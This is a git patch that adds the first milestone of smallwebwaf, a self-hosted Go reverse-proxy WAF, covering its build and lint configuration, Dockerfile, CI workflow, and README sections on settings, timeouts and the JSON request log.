From d76715b0dfad8cb98329cc7730561a5a5f627393 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sat, 3 Oct 2026 17:24:34 +0200 Subject: [PATCH 01/64] Pass-through proxy with timeouts, size limits and a request log (closes #13) Milestone 1, the repo's first code. smallwebwaf passes each request to the app and the answer back unchanged, streaming bodies and WebSocket upgrades, within four timeouts (client and app, request and response) and two size limits, and writes one JSON line per request to stdout. Every setting has an SWWAF_ name and a default, and an invalid value stops the start. The repo gets the standard layout: script/ entrypoints, make targets that call them, a Dockerfile that runs the checks, and the Gitea workflow. Disclosure: SPEC.md changed. Go's server reads the request line and headers before smallwebwaf sees the request, so slow headers are closed without an answer, and neither slow nor oversized headers get a log line. Disclosure: standard library only. Model: opus-5-5 --- .dockerignore | 61 +++ .editorconfig | 15 + .gitea/workflows/check.yml | 9 + .gitignore | 33 ++ .golangci.yml | 98 ++++ .prettierignore | 2 + .prettierrc | 4 + Dockerfile | 65 +++ EVALUATION.md | 105 ++-- Makefile | 38 ++ README.md | 199 +++++++- REPO_POLICIES.md | 603 +++++++++++++++++++++++ SPEC.md | 25 +- cmd/smallwebwaf/main.go | 18 + go.mod | 3 + go.sum | 0 internal/config/config.go | 352 +++++++++++++ internal/config/config_test.go | 244 +++++++++ internal/proxy/bodies.go | 171 +++++++ internal/proxy/client.go | 101 ++++ internal/proxy/client_test.go | 161 ++++++ internal/proxy/limits_test.go | 146 ++++++ internal/proxy/passthrough_test.go | 426 ++++++++++++++++ internal/proxy/proxy.go | 105 ++++ internal/proxy/proxy_test.go | 328 ++++++++++++ internal/proxy/request.go | 452 +++++++++++++++++ internal/proxy/timeouts_test.go | 258 ++++++++++ internal/requestlog/requestlog.go | 102 ++++ internal/requestlog/requestlog_test.go | 88 ++++ internal/smallwebwaf/smallwebwaf.go | 130 +++++ internal/smallwebwaf/smallwebwaf_test.go | 225 +++++++++ package.json | 5 + script/bootstrap | 143 ++++++ script/build | 18 + script/check | 16 + script/cibuild | 29 ++ script/docker | 25 + script/fmt | 33 ++ script/fmt-check | 38 ++ script/install-precommit | 16 + script/lint | 23 + script/precommit | 12 + script/projectname | 12 + script/run | 14 + script/setup | 13 + script/test | 19 + yarn.lock | 8 + 47 files changed, 4917 insertions(+), 74 deletions(-) create mode 100644 .dockerignore create mode 100644 .editorconfig create mode 100644 .gitea/workflows/check.yml create mode 100644 .gitignore create mode 100644 .golangci.yml create mode 100644 .prettierignore create mode 100644 .prettierrc create mode 100644 Dockerfile create mode 100644 Makefile create mode 100644 REPO_POLICIES.md create mode 100644 cmd/smallwebwaf/main.go create mode 100644 go.mod create mode 100644 go.sum create mode 100644 internal/config/config.go create mode 100644 internal/config/config_test.go create mode 100644 internal/proxy/bodies.go create mode 100644 internal/proxy/client.go create mode 100644 internal/proxy/client_test.go create mode 100644 internal/proxy/limits_test.go create mode 100644 internal/proxy/passthrough_test.go create mode 100644 internal/proxy/proxy.go create mode 100644 internal/proxy/proxy_test.go create mode 100644 internal/proxy/request.go create mode 100644 internal/proxy/timeouts_test.go create mode 100644 internal/requestlog/requestlog.go create mode 100644 internal/requestlog/requestlog_test.go create mode 100644 internal/smallwebwaf/smallwebwaf.go create mode 100644 internal/smallwebwaf/smallwebwaf_test.go create mode 100644 package.json create mode 100755 script/bootstrap create mode 100755 script/build create mode 100755 script/check create mode 100755 script/cibuild create mode 100755 script/docker create mode 100755 script/fmt create mode 100755 script/fmt-check create mode 100755 script/install-precommit create mode 100755 script/lint create mode 100755 script/precommit create mode 100755 script/projectname create mode 100755 script/run create mode 100755 script/setup create mode 100755 script/test create mode 100644 yarn.lock diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..cc93c0b --- /dev/null +++ b/.dockerignore @@ -0,0 +1,61 @@ +# .dockerignore does NOT use .gitignore semantics. Docker matches with +# moby/patternmatcher: filepath.Match plus `**`, so `*` does not cross +# `/` and an unprefixed pattern is anchored at the context root. Every +# depth-independent pattern therefore needs `**/`, or `config/.env` and +# `certs/server.key` still ship while this file reads as solved. Only +# genuinely root-anchored entries go unprefixed. Never transplant these +# into .gitignore, where `**/` is wrong. +# +# Matching is case-sensitive, so secrets use character ranges rather +# than an ALL-CAPS twin, which would still miss `Server.Key`. +# +# Extend with this repo's own host-built artifacts, written anchored: +# `/myapp`, never `**/myapp`, which also matches `cmd/myapp/` and +# deletes the package directory from the context. + +# Excluding .git means `git describe` cannot run in any build stage and +# fails quietly there; pass the version in with --build-arg VERSION. +.git + +# Agent scratch: one full checkout of the repo per in-flight agent. +# Anchored because it occurs once where agents run at the repo root. +# KNOWN GAP: a repo running agents in subdirectories still ships +# `services/api/.claude/` and must add its own anchored entry. +.claude + +# Environment files. `*.env` covers bare `.env` and the `prod.env` +# convention. Re-include a committed template with a negation if the +# build needs one: `!docs/example.env`. +**/*.[eE][nN][vV] +**/.[eE][nN][vV].* +**/.[eE][nN][vV][rR][cC] + +# Private keys and the bundles carrying them. Public certificates +# (*.crt, *.cer) are deliberately absent: they are legitimate inputs. +**/*.[pP][eE][mM] +**/*.[kK][eE][yY] +**/*.[pP]12 +**/*.[pP][fF][xX] +**/[iI][dD]_[rR][sS][aA] +**/[iI][dD]_[dD][sS][aA] +**/[iI][dD]_[eE][cC][dD][sS][aA] +**/[iI][dD]_[eE][dD]25519 + +# Dependencies: restored inside the image, never copied in. +**/node_modules + +# The binary `make build` writes on the host; the image builds its own. +/bin + +# OS metadata. +**/.DS_Store +**/Thumbs.db + +# Editor state: never a build input, and it churns COPY. +**/*.swp +**/*.swo +**/*~ +**/*.bak +**/.idea +**/.vscode +**/*.sublime-* diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000..92ec261 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,15 @@ +root = true + +[*] +indent_style = space +indent_size = 4 +end_of_line = lf +charset = utf-8 +trim_trailing_whitespace = true +insert_final_newline = true + +[Makefile] +indent_style = tab + +[*.go] +indent_style = tab diff --git a/.gitea/workflows/check.yml b/.gitea/workflows/check.yml new file mode 100644 index 0000000..ee73864 --- /dev/null +++ b/.gitea/workflows/check.yml @@ -0,0 +1,9 @@ +name: check +on: [push] +jobs: + check: + runs-on: ubuntu-latest + steps: + # actions/checkout v4.2.2, 2026-02-22 + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 + - run: script/cibuild diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f706024 --- /dev/null +++ b/.gitignore @@ -0,0 +1,33 @@ +# OS +.DS_Store +Thumbs.db + +# Editors +*.swp +*.swo +*~ +*.bak +.idea/ +.vscode/ +*.sublime-* + +# Agent scratch (worktrees of this repo, created and destroyed by +# in-flight tooling). Unanchored: .gitignore patterns already match at +# every depth, so no prefix is wanted here. This is not a .dockerignore +# entry and must not be given a `**/` prefix on the way into one. +.claude/ + +# Node +node_modules/ + +# Environment / secrets +.env +.env.* +*.pem +*.key + +# Go: the binary `make build` writes, test binaries, profiles and logs +/bin/ +*.test +*.out +*.log diff --git a/.golangci.yml b/.golangci.yml new file mode 100644 index 0000000..a7a74c2 --- /dev/null +++ b/.golangci.yml @@ -0,0 +1,98 @@ +version: "2" + +# Config schema uses the golangci-lint v2 layout (settings live under +# linters.settings, not top-level linters-settings) so that the +# thresholds below are actually applied by golangci-lint >= v2. + +run: + timeout: 5m + modules-download-mode: readonly + +linters: + default: all + enable: + # Successor to the deprecated gomodguard. Named explicitly, rather than + # left to `default: all`, because it carries the module policy below. + - gomodguard_v2 + disable: + # Genuinely incompatible with project patterns + - exhaustruct # Requires all struct fields + - godot # Requires comments to end with periods + - wrapcheck # Too verbose for internal packages + - varnamelen # Short names like db, id are idiomatic Go + # Deprecated: the warning is attached to the old name, so it is + # silenced by disabling that name, not by enabling the successor. + - wsl # Deprecated, replaced by wsl_v5 + - gomodguard # Deprecated, replaced by gomodguard_v2 + settings: + lll: + line-length: 88 + funlen: + lines: 80 + statements: 50 + cyclop: + max-complexity: 15 + dupl: + threshold: 100 + depguard: + # Test-support code must not be compiled into the shipped binary. A + # test-support package exists to hand a test privileges the program + # itself must never have, so a file that is not a test must not import + # one. Test files, and the files inside a package whose directory name + # ends in `test`, are where that code belongs, and are exempt. + # + # The deny list below is the one part of this file a repository is + # expected to extend, and the only part it may. depguard matches an + # import path against a list of prefixes, so it cannot be told "any path + # whose last segment ends in test"; a repository's own test-support + # packages have to be named here one at a time, by full import path, + # under a module path that differs from repository to repository. Add + # them; change nothing else. + rules: + test-support: + list-mode: lax + files: + - "$all" + - "!$test" + - "!**/*test/**" + deny: + - pkg: net/http/httptest + desc: >- + Test-support code belongs in test files and in packages whose + directory name ends in test, not in the shipped binary. + # Only decisions already recorded in the Go package defaults are + # listed here. Every entry matches the module path exactly. + gomodguard_v2: + blocked: + - module: github.com/rs/zerolog + recommendations: + - log/slog + reason: "Structured logging is stdlib log/slog." + # One entry per pre-fork module path, because the later releases + # are separate paths. A prefix match would be shorter but would + # also reach github.com/go-redis/redismock, the test double for + # the successor these entries recommend. + - module: github.com/go-redis/redis + recommendations: + - github.com/redis/go-redis/v9 + reason: "Pre-fork module; use the maintained go-redis v9." + - module: github.com/go-redis/redis/v7 + recommendations: + - github.com/redis/go-redis/v9 + reason: "Pre-fork module; use the maintained go-redis v9." + - module: github.com/go-redis/redis/v8 + recommendations: + - github.com/redis/go-redis/v9 + reason: "Pre-fork module; use the maintained go-redis v9." + - module: github.com/sergi/go-diff + recommendations: + - github.com/aymanbagabas/go-udiff + reason: "No unified diff output; use go-udiff." + - module: github.com/hexops/gotextdiff + recommendations: + - github.com/aymanbagabas/go-udiff + reason: "Unmaintained fork; use go-udiff." + +issues: + max-issues-per-linter: 0 + max-same-issues: 0 diff --git a/.prettierignore b/.prettierignore new file mode 100644 index 0000000..23d67fc --- /dev/null +++ b/.prettierignore @@ -0,0 +1,2 @@ +node_modules/ +yarn.lock diff --git a/.prettierrc b/.prettierrc new file mode 100644 index 0000000..8af31cd --- /dev/null +++ b/.prettierrc @@ -0,0 +1,4 @@ +{ + "tabWidth": 4, + "proseWrap": "always" +} diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..84da0ff --- /dev/null +++ b/Dockerfile @@ -0,0 +1,65 @@ +# Lint phase. The linter is invoked directly rather than through `make +# lint` or `script/lint`, which are themselves a docker build and would +# recurse into a daemon that does not exist in a build step. +# +# golangci/golangci-lint v2.12.2 (built with go1.26.2), 2026-05-06 +FROM golangci/golangci-lint@sha256:5cceeef04e53efe1470638d4b4b4f5ceefd574955ab3941b2d9a68a8c9ad5240 AS lint + +WORKDIR /src + +COPY go.mod go.sum ./ +RUN go mod download + +COPY . . + +RUN golangci-lint run --config .golangci.yml ./... + +# Test phase, same shape and for the same reason. The go directive in +# go.mod is a minimum, so this Go may be newer than the linter's. The +# Debian image rather than the Alpine one, because the race detector +# needs the C compiler it carries. +# +# golang 1.27.1-trixie, 2026-09-19 +FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test + +WORKDIR /src + +COPY go.mod go.sum ./ +RUN go mod download + +COPY . . + +RUN go test -count=1 -timeout 90s -race -cover ./... || \ + { echo "--- Rerunning with -v for details ---"; \ + go test -count=1 -timeout 90s -race -v ./...; exit 1; } + +# Build stage, and the last one: a plain `docker build .` names no +# target and so builds this one. Nothing is wanted from the two phases +# above; the copies are what make BuildKit build them first, so this +# image cannot be produced unless lint and test passed. The image an +# app's Dockerfile builds FROM comes with milestone 2 +# (https://git.eeqj.de/sneak/smallwebwaf/issues/12); until then this +# stage builds the binary and can run it. +# +# golang 1.27.1-trixie, 2026-09-19 +FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 + +COPY --from=lint /src/go.sum /dev/null +COPY --from=test /src/go.sum /dev/null + +WORKDIR /src + +COPY go.mod go.sum ./ +RUN go mod download + +COPY . . + +# The version is computed on the host and passed in, because +# .dockerignore excludes .git. +ARG VERSION=dev +RUN CGO_ENABLED=0 go build -trimpath \ + -ldflags="-s -w -X main.Version=${VERSION}" \ + -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf + +EXPOSE 8080 +ENTRYPOINT ["/usr/local/bin/smallwebwaf"] diff --git a/EVALUATION.md b/EVALUATION.md index f671f13..4ea3fc9 100644 --- a/EVALUATION.md +++ b/EVALUATION.md @@ -17,8 +17,8 @@ configured only by environment variables, that provides: - R5: temporary blocks for abusers, permanent bans for repeat offenders - R6: one or more RBLs or IP reputation APIs - R7: AS number lookup -- R8: thresholds biased by AS number or country (for example, listed AS - numbers get 50 percent of the normal limit) +- R8: thresholds biased by AS number or country (for example, listed AS numbers + get 50 percent of the normal limit) - R9: WAF-style attack detection and prevention - R10: runs as a plain env-var-configured sidecar between traefik and one app @@ -37,19 +37,19 @@ Closest existing options, and why each still falls short: - BunkerWeb is the closest single product. - Meets: R1 (rates in requests per second, minute, hour or day), R2 - (`LIMIT_IGNORE_IP`, also by AS number and reverse DNS), R3 partly (webhook, - Slack, Discord, Matrix plugins, fired only on denied requests; ntfy only - through the generic webhook, payload format unverified), R5 partly - (`BAD_BEHAVIOR_BAN_TIME`, `0` means permanent; no escalation for repeat - offenders, the ban length is one fixed value), R6 (DNSBL plugin, external - blacklist URLs, optional CrowdSec), R7 partly (AS number used for + (`LIMIT_IGNORE_IP`, also by AS number and reverse DNS), R3 partly + (webhook, Slack, Discord, Matrix plugins, fired only on denied requests; + ntfy only through the generic webhook, payload format unverified), R5 + partly (`BAD_BEHAVIOR_BAN_TIME`, `0` means permanent; no escalation for + repeat offenders, the ban length is one fixed value), R6 (DNSBL plugin, + external blacklist URLs, optional CrowdSec), R7 partly (AS number used for blacklist and whitelist decisions), R9 (ModSecurity with the Core Rule Set, or Coraza plugin), env-var settings. - Fails: R8 (AS number and country can only allow or deny, never scale a limit), R4 (no volume or byte threshold alerts in the free edition; - reporting is a paid feature), R5 escalation, and R10 in spirit: since - 1.6 it needs a `bunkerweb` container plus a `bw-scheduler` container and - a database, or the all-in-one image that bundles nginx, scheduler, UI and + reporting is a paid feature), R5 escalation, and R10 in spirit: since 1.6 + it needs a `bunkerweb` container plus a `bw-scheduler` container and a + database, or the all-in-one image that bundles nginx, scheduler, UI and Redis in one container. It is designed to be the front door for many sites, not a per-app sidecar. AGPL-3.0. - Unverified: whether several rates (minute, hour, day) can be stacked on @@ -61,15 +61,14 @@ Closest existing options, and why each still falls short: (community blocklist, further blocklists, reputation API), R7 (alerts are enriched with AS number and country), R9 (AppSec component with virtual patching and ModSecurity-syntax rules), R2 (allowlists). - - Partly: R1 and R8. Detection is by leaky-bucket scenarios over logs, and - a scenario can filter on AS number or country, so a stricter bucket for + - Partly: R1 and R8. Detection is by leaky-bucket scenarios over logs, and a + scenario can filter on AS number or country, so a stricter bucket for listed AS numbers is possible, but each is a hand-written YAML scenario, it reacts after the fact by banning, and it is not an inline limiter that answers 429. - - Fails: R10 (needs the security engine container with persistent state, - log acquisition from traefik, a bouncer such as the traefik plugin, and - YAML for acquisition, profiles, scenarios and notifications), bytes half - of R4. + - Fails: R10 (needs the security engine container with persistent state, log + acquisition from traefik, a bouncer such as the traefik plugin, and YAML + for acquisition, profiles, scenarios and notifications), bytes half of R4. - CrowdSec plus traefik's own `rateLimit` middleware is the best combination with no new code. It gives inline limiting (one window per middleware, keyed by IP, with `sourceCriterion` exclusions), bans with escalation, alerts and @@ -89,19 +88,19 @@ Closest existing options, and why each still falls short: central API, or AppSec only. Supports captcha remediation. - Covers: R5, R6, R9, R3 and R7 through the engine (see Verdict). - Misses: the plugin itself does no rate limiting; R8; R4 bytes. - - Configuration: traefik static config to load the plugin, dynamic config - or labels for the middleware, CrowdSec YAML for everything else. + - Configuration: traefik static config to load the plugin, dynamic config or + labels for the middleware, CrowdSec YAML for everything else. - Sidecar fit: no. It lives inside traefik, plus a separate engine container. - Maturity: widely used (about 900 stars, listed in the traefik plugin catalog, documented by CrowdSec itself), actively maintained. Traefik - plugins run in an interpreter inside traefik, which costs some - per-request time. + plugins run in an interpreter inside traefik, which costs some per-request + time. - CrowdSec generic bouncers (nginx, Caddy, firewall) - Same engine, different enforcement point. The firewall bouncer blocks at - nftables level on the host, which is cheap and covers every service on - the host at once; worth considering fleet-wide regardless of this - project. Not a sidecar, same misses as above. + nftables level on the host, which is cheap and covers every service on the + host at once; worth considering fleet-wide regardless of this project. Not + a sidecar, same misses as above. - BunkerWeb 1.6.14 (`bunkerity/bunkerweb`) - What it is: nginx with Lua plugins, ModSecurity and the Core Rule Set, configured by settings that are passed as env vars to its scheduler @@ -123,23 +122,22 @@ Closest existing options, and why each still falls short: edition is capped at 10 applications. - Configuration: web UI backed by PostgreSQL. No env-var configuration. - Sidecar fit: no. Seven containers (postgres, management, detector, - tengine, and three helpers); the proxy container uses host networking. - The detection engine is closed source. + tengine, and three helpers); the proxy container uses host networking. The + detection engine is closed source. - Maturity: very active, vendor-driven. - Coraza (`corazawaf/coraza`) and Coraza-based proxies - - What it is: a Go library that implements the ModSecurity rule language - and runs the OWASP Core Rule Set. OWASP project, actively maintained, the + - What it is: a Go library that implements the ModSecurity rule language and + runs the OWASP Core Rule Set. OWASP project, actively maintained, the successor path now that ModSecurity is in maintenance only. - Packagings: `coraza-caddy` (Caddy module), `coraza-spoa` (HAProxy), `coraza-proxy-wasm` (Envoy), a traefik WASM plugin, and - `coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule - Set, with env vars for backend address, engine mode and rule-set - tuning). + `coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule Set, + with env vars for backend address, engine mode and rule-set tuning). - Covers: R9 only. `coraza-crs-docker` fits R10 well: one container, env vars, backend address. - - Misses: R1 to R8. ModSecurity-language rules can count requests per IP - in a persistent collection, but Coraza's support for persistent - collections is limited and this is not a practical rate limiter. + - Misses: R1 to R8. ModSecurity-language rules can count requests per IP in + a persistent collection, but Coraza's support for persistent collections + is limited and this is not a practical rate limiter. - Value here: the right library to embed for R9 in a purpose-built sidecar. - ModSecurity Core Rule Set containers (`owasp/modsecurity-crs`) - What it is: official images of Apache or nginx with ModSecurity and the @@ -149,21 +147,21 @@ Closest existing options, and why each still falls short: - Covers: R9, and R10 (single container, env vars, one backend). - Misses: R1 to R8. - Maturity: rule set is very actively maintained; the ModSecurity engine - itself is in maintenance under OWASP after Trustwave ended support in - 2024. + itself is in maintenance under OWASP after Trustwave ended support + in 2024. - Anubis (`TecharoHQ/anubis`), 1.27 current - What it is: a single-binary reverse proxy that makes browsers solve a proof-of-work challenge before passing them to `TARGET`. Aimed at scrapers, which is likely a large share of unwanted traffic on a public gitea. - Covers: R10 well (one container, env vars for listener, target, - difficulty, cookies). Policy rules can match on path, user agent, - headers, IP ranges, and with the vendor's hosted data service also AS - number and country, and can weigh a request toward a harder challenge. + difficulty, cookies). Policy rules can match on path, user agent, headers, + IP ranges, and with the vendor's hosted data service also AS number and + country, and can weigh a request toward a harder challenge. - Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env vars. AS number and country matching depend on the vendor's hosted - service. Breaks non-browser clients unless paths are exempted; for - gitea, git-over-HTTP and API paths must be allowed through by rule. + service. Breaks non-browser clients unless paths are exempted; for gitea, + git-over-HTTP and API paths must be allowed through by rule. - Maturity: very active, widely deployed on code forges since 2025. - Value here: complementary. It can be chained (traefik, then the sidecar, then Anubis, then the app) if challenge pages are wanted. @@ -187,29 +185,28 @@ Closest existing options, and why each still falls short: - Sidecar fit: no; they live inside traefik. - Traefik built-in middlewares - `rateLimit` (one average-and-burst window per middleware, optional Redis - in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, - reputation or AS number awareness. + in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, reputation + or AS number awareness. - caddy-waf (`fabriziosalmi/caddy-waf`), 0.4.x - What it is: a Caddy module with regex rules and anomaly scoring, per-IP and per-path rate limiting with one configurable window, IP and DNS - blacklists, Tor exit list fetch, country and AS number allow or deny - from MaxMind databases. + blacklists, Tor exit list fetch, country and AS number allow or deny from + MaxMind databases. - Misses: R8 (allow or deny only), R3, R4, R5 (no documented ban state or alerting), R1's three windows. Caddyfile configuration. One maintainer, pre-1.0, AGPL-3.0. - open-appsec (Check Point) - - Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, - with a declarative policy file or the vendor's cloud console. Covers R9 - only; rate limiting and richer features are in paid tiers. Not a sidecar - in the required sense. + - Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, with + a declarative policy file or the vendor's cloud console. Covers R9 only; + rate limiting and richer features are in paid tiers. Not a sidecar in the + required sense. - iocaine - - Serves generated garbage pages to clients the fronting proxy classifies - as scrapers. Not a limiter, WAF or ban tool; out of scope except as a + - Serves generated garbage pages to clients the fronting proxy classifies as + scrapers. Not a limiter, WAF or ban tool; out of scope except as a curiosity for scraper traffic. - Pangolin - - A tunnelled access platform that bundles traefik and optionally - CrowdSec. Replaces the ingress rather than adding a sidecar; out of - scope. + - A tunnelled access platform that bundles traefik and optionally CrowdSec. + Replaces the ingress rather than adding a sidecar; out of scope. ## Requirement by requirement, across the field diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..e8da879 --- /dev/null +++ b/Makefile @@ -0,0 +1,38 @@ +.PHONY: bootstrap setup test lint fmt fmt-check check docker hooks build run + +# Makefile targets are thin shims; the implementations live in script/ +# per the scripts-to-rule-them-all pattern (see the Entrypoints section +# of README.md). build and run are for working on the code by hand. + +bootstrap: + @script/bootstrap + +setup: + @script/setup + +test: + @script/test + +lint: + @script/lint + +fmt: + @script/fmt + +fmt-check: + @script/fmt-check + +check: + @script/check + +docker: + @script/docker + +hooks: + @script/install-precommit + +build: + @script/build + +run: + @script/run diff --git a/README.md b/README.md index 60f7bc6..20b760c 100644 --- a/README.md +++ b/README.md @@ -1,18 +1,134 @@ # smallwebwaf -`smallwebwaf` is a simple, fast, logging web application firewall for people who -host their own services. It runs inside the container of the one application it -protects, between your reverse proxy (traefik) and the app: the app's Dockerfile -builds `FROM` the `smallwebwaf` image, traefik sends the app's requests to -`smallwebwaf` on port 8080, and `smallwebwaf` passes them on to the app on -`127.0.0.1:8081`. It needs no setting, and protects the app from the first -request with defaults chosen for a service on the open internet. It keeps its -state in memory and in JSON files you can read and edit, and writes a detailed -JSON log line for every request. +`smallwebwaf` is a simple, fast, logging web application firewall, written in Go +by [@sneak](https://sneak.berlin), for people who host their own services. It +runs inside the container of the one application it protects, between your +reverse proxy (traefik) and the app: the app's Dockerfile builds `FROM` the +`smallwebwaf` image, traefik sends the app's requests to `smallwebwaf` on port +8080, and `smallwebwaf` passes them on to the app on `127.0.0.1:8081`. It needs +no setting, and protects the app from the first request with defaults chosen for +a service on the open internet. It keeps its state in memory and in JSON files +you can read and edit, and writes a detailed JSON log line for every request. -Status: design stage. This repository currently holds the documents only; no -code has been written. The design is in [`SPEC.md`](SPEC.md), and the survey of -existing tools that led to it is in [`EVALUATION.md`](EVALUATION.md). +Status: the first milestone is built +(https://git.eeqj.de/sneak/smallwebwaf/issues/13). `smallwebwaf` passes each +request to the app and the app's answer back, unchanged, within its timeouts and +size limits, works out each client's address, and writes a JSON log line for +every request. Rate limits per client, the country lists and the image an app +builds on come with milestone 2 +(https://git.eeqj.de/sneak/smallwebwaf/issues/14), and the rest of the design +after that, in the order of the build order in [`SPEC.md`](SPEC.md). The survey +of existing tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). + +## Getting started + +`smallwebwaf` is one Go binary. Until milestone 2 brings its image, build and +run it from a clone, with Go installed: + +```sh +git clone https://git.eeqj.de/sneak/smallwebwaf.git +cd smallwebwaf +make build +SWWAF_UPSTREAM_URL=http://127.0.0.1:3000 ./bin/smallwebwaf +``` + +It then listens on port 8080 and passes every request to the app at +`SWWAF_UPSTREAM_URL`, here an app on port 3000; with no setting at all, to an +app on `127.0.0.1:8081`. On `SIGTERM` or `SIGINT` it stops taking requests and +gives those in progress five seconds to finish. + +## What milestone 1 does + +- Passes each request to the app and the app's answer back unchanged: method, + path, query, headers, body and status. Bodies stream through in both + directions and are never held whole in memory. A WebSocket, or any other + upgraded connection, passes through, and the timeouts do not cut it. +- Works out the client's address. A TCP peer outside `SWWAF_TRUSTED_PROXIES` is + the client, and the forwarded headers it sends are replaced, not passed on. + For a peer inside it, `X-Forwarded-For` is read from the right, and the first + address outside `SWWAF_TRUSTED_PROXIES` is the client; if every address in it + is inside, the leftmost is, and with no header the peer is. The app sees what + it would see from traefik directly: the same `Host`, the same + `X-Forwarded-Proto`, and `X-Forwarded-For` with the peer added at the end. +- Enforces the four timeouts and the two size limits below. A limit passed + before the response has started gets `smallwebwaf`'s own answer: `408` for a + client too slow to send its request, `413` for a request body that is too + large, `504` for an app too slow to answer, and `502` for a response that is + too large or an app that cannot be reached. A request that announces a body + over the limit is refused before anything reaches the app. While a request + body is still on its way, a request timeout that runs out answers `408` if + `smallwebwaf` was waiting for the client to send more, and `504` if it was + waiting for the app to take what it had. Once the response has started, a + limit can only cut the connection. +- Writes a line in the request log for each request (see "Request log" below). + +## Settings + +Each setting is an environment variable, and each has a default, so none has to +be set. A setting that is set but invalid stops the start with a message naming +it, and the effective settings are logged at start. + +- `SWWAF_LISTEN_ADDR` (default `:8080`): where `smallwebwaf` listens. +- `SWWAF_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app, as `http` or + `https`, a host and an optional port, and nothing more. +- `SWWAF_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`, + the private address ranges): the netblocks whose `X-Forwarded-For` is + believed. A list given replaces the default; set but empty, it trusts nothing. +- `SWWAF_CLIENT_REQUEST_TIMEOUT` (default `60s`): how long a client may take to + send its request line and headers, and then, from the end of the headers, its + body. +- `SWWAF_CLIENT_RESPONSE_TIMEOUT` (default `30m`): how long the response may + take to reach the client, from the end of the request to the last byte. +- `SWWAF_UPSTREAM_REQUEST_TIMEOUT` (default `60s`): how long connecting to the + app and sending it the whole request may take. +- `SWWAF_UPSTREAM_RESPONSE_TIMEOUT` (default `30m`): how long the app may take + to send its whole answer, from the end of the request to the last byte. +- `SWWAF_REQUEST_MAX_BYTES` (default `100M`): the largest request body. +- `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. + +Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are +bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 +bytes). Netblocks are in CIDR form, and a bare address stands for itself alone. +`off` switches a timeout or a size limit off. + +Two limits are fixed rather than settings: the request line and headers may take +up to 32 KiB, above which the answer is `431` and nothing reaches the app, and a +kept-open connection that sends nothing for 120 seconds is closed. That is +longer than the 90 seconds after which traefik closes a connection it is not +using, so traefik never sends a request on a connection `smallwebwaf` is +closing. + +## Request log + +`smallwebwaf` writes one JSON object per line on stdout for every request, +refused ones included: + +``` +{"type":"request","time":"2026-10-03T12:00:00.123Z","client_ip":"203.0.113.9","peer_ip":"172.18.0.2","method":"GET","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"upstream_status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","action":"forward","duration_total":3.217,"duration_upstream_total":3.104} +``` + +- `time` is when the request arrived, in UTC. `peer_ip` is the TCP peer, + normally traefik. `path` and `query` are as the client sent them. +- `status` is what the client was sent, `0` if nothing was; `upstream_status` is + what the app answered, and is left out when the app did not answer. +- `request_bytes` and `response_bytes` count body bytes. +- `action` is `forward` for a request passed to the app, `too_large` for a + request or response over its size limit, `timed_out` for one that ran out of + time, and `upstream_error` when the app could not be reached or its answer + broke off. +- `aborted` is there, and true, when the client went away early. +- `duration_total` and `duration_upstream_total` are in milliseconds. + +No body and no other header is logged. `smallwebwaf`'s own messages (start, the +settings, stop, errors) share the stream as JSON lines marked +`"type":"process"`. + +Go's HTTP server, on which `smallwebwaf` is built, reads a request's line and +headers before `smallwebwaf` sees the request, and some requests end there, +without a line in the log: headers over 32 KiB, which it answers `431`, headers +slower than `SWWAF_CLIENT_REQUEST_TIMEOUT`, whose connection it closes without +an answer, and requests it cannot read at all, which it answers itself, mostly +with `400`. ## Why @@ -249,8 +365,67 @@ visitor on your local network, another container or your monitoring, has no country: `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses it unless you list it in `SWWAF_ALLOW_NETS`. Such addresses are never sent to GeoJS. +## How the code is laid out + +- `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. +- `internal/smallwebwaf`: the process: it reads the settings, listens, serves + requests until `SIGTERM` or `SIGINT`, and stops. +- `internal/config`: reads the settings, the one place they are read. +- `internal/proxy`: what happens to each request: it works out the client, runs + the checks, passes the request to the app and the answer back with the + standard library's `httputil.ReverseProxy` within the timeouts and size + limits, and writes the request's log line. Its `check` method is where + milestone 2's rate limits and country lists refuse a request. +- `internal/requestlog`: the lines on stdout: the request log line and the + process's own messages. + +Only the Go standard library is used. + +## Entrypoints + +This repository adheres to the +[Scripts to Rule Them All](https://github.com/github/scripts-to-rule-them-all) +standard: the scripts in `script/` are the entrypoints for working on it, and +the `Makefile` targets are thin shims that call them. The scripts are POSIX sh, +so that they run in minimal containers. + +- `script/bootstrap`: installs what the other scripts need on the host: `make`, + `git`, Go for `gofmt`, node and yarn, and prettier. +- `script/setup`: readies a fresh clone: runs `script/bootstrap`, then + `script/install-precommit`. +- `script/projectname`: prints the project's name, `smallwebwaf`, which + `script/docker` and the others tag their images with. +- `script/test`: runs the tests, as the `test` phase of the `Dockerfile`. +- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`. +- `script/fmt`: 